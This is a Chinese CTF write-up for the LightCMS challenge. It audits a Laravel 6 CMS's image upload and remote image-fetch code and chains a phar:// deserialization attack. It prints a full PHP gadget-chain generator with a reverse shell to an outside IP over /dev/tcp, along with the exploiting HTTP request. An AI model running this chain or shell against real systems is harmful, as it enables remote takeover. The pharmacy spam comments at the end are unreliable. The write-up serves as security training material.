LightCMS

LightCMS是一个轻量级的CMS,基于Laravel框架,所以题目的解题思路和Laravel的审计差不多,需要结合一些后台管理里的功能所产生的漏洞,比如本题,就利用了文件上传的漏洞

题目分析

1.

拿到题目,选择后台登录,尝试默认账户和密码 admin + admin,成功进入后台,发现除了新键文章里可以上传图片之外,没有其他的可利用点。

但可以看到它的版本信息

image-20210525173749854

使用了 Laravel 6.20.16

2. 寻找资料

一贯的思路,这种题都会给源码进行审计的。
根据刚才的版本信息,看看有无相关的CVE

可以找到 Laravel 5.8.x反序列化 | Somnus's blog (nikoeurus.github.io)

这个反序列化的链可以再 6.20.16 中使用,但这个题,并没有直接写触发反序列化的地方。结合我们在后台找到的图片上传功能,那么这里很可能是一个上传phar文件,然后通过phar伪协议来触发反序列化。那么接下里先找一下有没有文件包含。

3. 上传分析

<?php
/**
 * Date: 2019/2/25 Time: 9:31
 *
 * @author  Eddy <cumtsjh@163.com>
 * @version v1.0.0
 */

use Illuminate\Support\Str;

Route::group(
    [
        'as' => 'admin::',
    ],
    function () {

        //NEditor路由
        Route::post('/neditor/serve/{type}', 'NEditorController@serve')->name('neditor.serve');

        Route::match(['get', 'post'], '/ueditor/serve', 'UEditorController@serve')->name('ueditor.serve');


        // 自动加载生成的其它路由
        foreach (new DirectoryIterator(base_path('routes/auto')) as $f) {
            if ($f->isDot()) {
                continue;
            }
            $name = $f->getPathname();
            if ($f->isFile() && Str::endsWith($name, '.php')) {
                require $name;
            }
        }
    }
);

可以在admin.php 下看到一个NEditor路由,这个NEditor下有文件上传的功能

    protected function uploadImage(Request $request)
    {
        if (config('light.image_upload.driver') !== 'local') {
            $class = config('light.image_upload.class');
            return call_user_func([new $class, 'uploadImage'], $request);
        }

        if (!$request->hasFile('file')) {
            return [
                'code' => 2,
                'msg' => '非法请求'
            ];
        }
        $file = $request->file('file');
        if (!$this->isValidImage($file)) {
            return [
                'code' => 3,
                'msg' => '文件不合要求'
            ];
        }

        $result = $file->store(date('Ym'), config('light.neditor.disk'));
        if (!$result) {
            return [
                'code' => 3,
                'msg' => '上传失败'
            ];
        }

        return [
            'code' => 200,
            'state' => 'SUCCESS', // 兼容ueditor
            'msg' => '',
            'url' => Storage::disk(config('light.neditor.disk'))->url($result),
        ];
    }

对上传的文件做有如下的检测

   protected function isValidImage(UploadedFile $file)
    {
        $c = config('light.neditor.upload');
        $config = [
            'maxSize' => $c['imageMaxSize'],
            'AllowFiles' => $c['imageAllowFiles'],
        ];

        return $this->isValidUploadedFile($file, $config);
    }


    protected function isValidUploadedFile(UploadedFile $file, array $config)
    {
        if (!$file->isValid() ||
            $file->getSize() > $config['maxSize'] ||
            !in_array(
                '.' . strtolower($file->getClientOriginalExtension()),
                $config['AllowFiles']
            ) ||
            !in_array(
                '.' . strtolower($file->guessExtension()),
                $config['AllowFiles']
            )
        ) {
            return false;
        }

        return true;
    }

可以看到,上传的限制容易绕过,看不出来也可手动测试一下,加个GIF头,改个后缀就可以上传了。

4. 寻找文件包含点

如下

    public function catchImage(Request $request)
    {
        if (config('light.image_upload.driver') !== 'local') {
            $class = config('light.image_upload.class');
            return call_user_func([new $class, 'catchImage'], $request);
        }

        $files = array_unique((array) $request->post('file'));
        $urls = [];
        foreach ($files as $v) {
            $image = $this->fetchImageFile($v);
            if (!$image || !$image['extension'] || !$this->isAllowedImageType($image['extension'])) {
                continue;
            }

            $path = date('Ym') . '/' . md5($v) . '.' . $image['extension'];
            Storage::disk(config('light.neditor.disk'))
                ->put($path, $image['data']);
            $urls[] = [
                'url' => Storage::disk(config('light.neditor.disk'))->url($path),
                'source' => $v,
                'state' => 'SUCCESS'
            ];
        }

        return [
           'list' => $urls
        ];
    }

在 这个 catchImage函数里 可以看到接受了一个post的参数file,然后将参数传入 fetchImage

protected function fetchImageFile($url)
    {
        try {
            if (!filter_var($url, FILTER_VALIDATE_URL)) {
                return false;
            }

            $ch = curl_init();
            $options =  [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2'
            ];
            curl_setopt_array($ch, $options);
            $data = curl_exec($ch);
            curl_close($ch);
            if (!$data) {
                return false;
            }

            if (isWebp($data)) {
                $image = Image::make(imagecreatefromwebp($url));
                $extension = 'webp';
            } else {
                $image = Image::make($data);
            }
        } catch (NotReadableException $e) {
            return false;
        }

        $mime = $image->mime();
        return [
            'extension' => $extension ?? ($mime ? strtolower(explode('/', $mime)[1]) : ''),
            'data' => $data
        ];
    }

可以看到,这里有一个curl,然后访问一个远程资源,并用Image::make

跟一下

先跳转到

    public function make($data)
    {
        return $this->createDriver()->init($data);
    }

再看一下 creadteDriver()

private function createDriver()
{
    if (is_string($this->config['driver'])) {
        $drivername = ucfirst($this->config['driver']);
        $driverclass = sprintf('Intervention\\Image\\%s\\Driver', $drivername);

        if (class_exists($driverclass)) {
            return new $driverclass;
        }

        throw new NotSupportedException(
            "Driver ({$drivername}) could not be instantiated."
        );
    }

    if ($this->config['driver'] instanceof AbstractDriver) {
        return $this->config['driver'];
    }

    throw new NotSupportedException(
        "Unknown driver type."
    );
}

跳转到 InterventionImageAbstractDriver

触发下面的方法

    public function init($data)
    {
        return $this->decoder->init($data);
    }

查看decoder这个属性

    /**
     * Decoder instance to init images from
     *
     * @var \Intervention\Image\AbstractDecoder
     */
    public $decoder;

可以看到这个 $decoder 变量是 InterventionImageAbstractDecoder,触发了它的init方法

   public function init($data)
    {
        $this->data = $data;

        switch (true) {

            case $this->isGdResource():
                return $this->initFromGdResource($this->data);

            case $this->isImagick():
                return $this->initFromImagick($this->data);

            case $this->isInterventionImage():
                return $this->initFromInterventionImage($this->data);

            case $this->isSplFileInfo():
                return $this->initFromPath($this->data->getRealPath());

            case $this->isBinary():
                return $this->initFromBinary($this->data);

            case $this->isUrl():
                return $this->initFromUrl($this->data);

            case $this->isStream():
                return $this->initFromStream($this->data);

            case $this->isDataUrl():
                return $this->initFromBinary($this->decodeDataUrl($this->data));

            case $this->isFilePath():
                return $this->initFromPath($this->data);

            // isBase64 has to be after isFilePath to prevent false positives
            case $this->isBase64():
                return $this->initFromBinary(base64_decode($this->data));

            default:
                throw new NotReadableException("Image source not readable");
        }
    }

如果我们输入的是一个URL 那么就是触发的 $this->initFromUrl($this->data);

    public function initFromUrl($url)
    {
        
        $options = [
            'http' => [
                'method'=>"GET",
                'header'=>"Accept-language: en\r\n".
                "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2\r\n"
          ]
        ];
        
        $context  = stream_context_create($options);
        

        if ($data = @file_get_contents($url, false, $context)) {
            return $this->initFromBinary($data);
        }

        throw new NotReadableException(
            "Unable to init from given url (".$url.")."
        );
    }

重点来了,这里出现了熟悉的 file_get_contents 函数

@file_get_contents($url, false, $context)

这里的参数比我们平时看到的要多 ,第二个false是说明不搜索指定的include_path 可以任意位置文件包含,$content 是指

Content

stream_context_create() 创建的有效的上下文(context)资源。 如果你不需要自定义 context,可以用 null 来忽略。(来自php官网)

那么这里我们就可以去访问我们一个远程资源,如果我们的远程资源是一段phar伪协议语句 那么就可以触发

生成payload&反弹shell

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }

    }

    class BroadcastEvent
    {
      protected $connection;

      public function __construct($connection)
      {
        $this->connection = $connection;
      }
    }

}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;

        public function __construct($queueResolver)
        {
          $this->queueResolver = $queueResolver;
        }

    }
}

namespace{
    $command = new Illuminate\Broadcasting\BroadcastEvent("bash -c 'bash -i >& /dev/tcp/101.132.238.43/5992 0>&1'");

    $dispater = new Illuminate\Bus\Dispatcher("system");

    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($PendingBroadcast);
    $phar -> stopBuffering();
    rename('phar.phar','phar.txt');

}

将文件名改为gif上传

image-20210525195955568

记录文件名,在vps写一个 phar://./{文件相对路径}

根据前面的代码审计部分,要fetchImage,那么可以向catchimage post 一个file参数。fetchimage 并没有接受任何REQUEST参数

然后传参

POST /admin/neditor/serve/catchImage HTTP/1.1
Host: 4f7ff171-3525-4753-82a9-d4f1ba3c02f5.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://4f7ff171-3525-4753-82a9-d4f1ba3c02f5.node3.buuoj.cn
Connection: close
Referer: http://4f7ff171-3525-4753-82a9-d4f1ba3c02f5.node3.buuoj.cn/admin/entity/2/contents/create?http:%2f%2f4f7ff171-3525-4753-82a9-d4f1ba3c02f5.node3.buuoj.cn%2fadmin%2fneditor%2fserver%2fcatchImage
Cookie: XSRF-TOKEN=eyJpdiI6ImV2RW02QnhsRUtqMktZS3UzczhKeWc9PSIsInZhbHVlIjoiR0NJczY4aklWZzJwZG1xclZwTEFrMFh6cjJTR2ZoczJkb3l6cEZ1Z21zT3NzaGZ3T1UxRlIra3ZnSDEzcXJiTHFCVzdna2QxbUxMNXdSZTc3VUZqeldPWWZuZ3pDQ3FJVVwvcWh2M0RieWFSZ0dHK3pFSVwvRXV0TmN5RWZheHBreiIsIm1hYyI6IjQxNGNlMGRhYmQzNjE5ZjBkMDQxYzIyMjdkZTJkYmEzMTA0ZjIzMjJiOGNhMGUwNmM5ZDAwNmM5Y2Q1YTRjMjcifQ%3D%3D; lightcms_session=eyJpdiI6Ikc2VUR6K2Zmb1RlVHB5cjZWbHdPVWc9PSIsInZhbHVlIjoiT00reXlpNElMTmpDeUM0eUZFTTBWK3AwdFVibm9OVHE2S3J6XC9CSnU2Nk5WRnFDVmt3T1JDMEFxNDdxR3g2c1ZcL3cxVG9pR0hYYm1leU9iMlNqZXQrWVlubUxNUTlSQmlCOTlmbWtqRGtEdjZJbWNjZndMYnRFM3BNR2ltOFFHMCIsIm1hYyI6IjM5YWIyN2RlNTllYzNmOTQxOTlkZjEwM2ZhNDEyOGNmMTM3OTczOGQxYzVjMmI3YThkYTdiZmIyMjQ4MTU1ZGQifQ%3D%3D; Hm_lvt_eaa57ca47dacb4ad4f5a257001a3457c=1621941388; Hm_lpvt_eaa57ca47dacb4ad4f5a257001a3457c=16219418681

file=http://rigelx.top/1.txt

image-20210525200057897

问题

先是尝试直接使用phpggc的生成然后反弹失败,然后在使用网上的POC生成才成功反弹

image-20210525200509355

上面的phpggc 可以看到,两个的链是一模一样的(为了方便 后来phpggc生产的payload 是 1 和 2)

然后在010editor里才看到,phpggc把 中本该是 00 的字符,变成了 空格也就是20

这是网上的POC生成的

image-20210525200717124

这是phpggc生成

image-20210525200741818

破案了,phpggc生产的时候没有GIF头,通过记事本编辑的时候会把00字符保存为空格!

标签: none

已有 2 条评论

  1. a max A https://newfasttadalafil.com/ - Cialis Ytsqva cialis instrucciones buy cialis online no prescription Gizgkw The surgeon attaches the donor heart to the great vessels and the intact part of the left atrium starts the heart and deactivates the bypass system. https://newfasttadalafil.com/ - buy cialis 5mg daily use

    1. Generic Cialis Online Prescription order cialis

添加新评论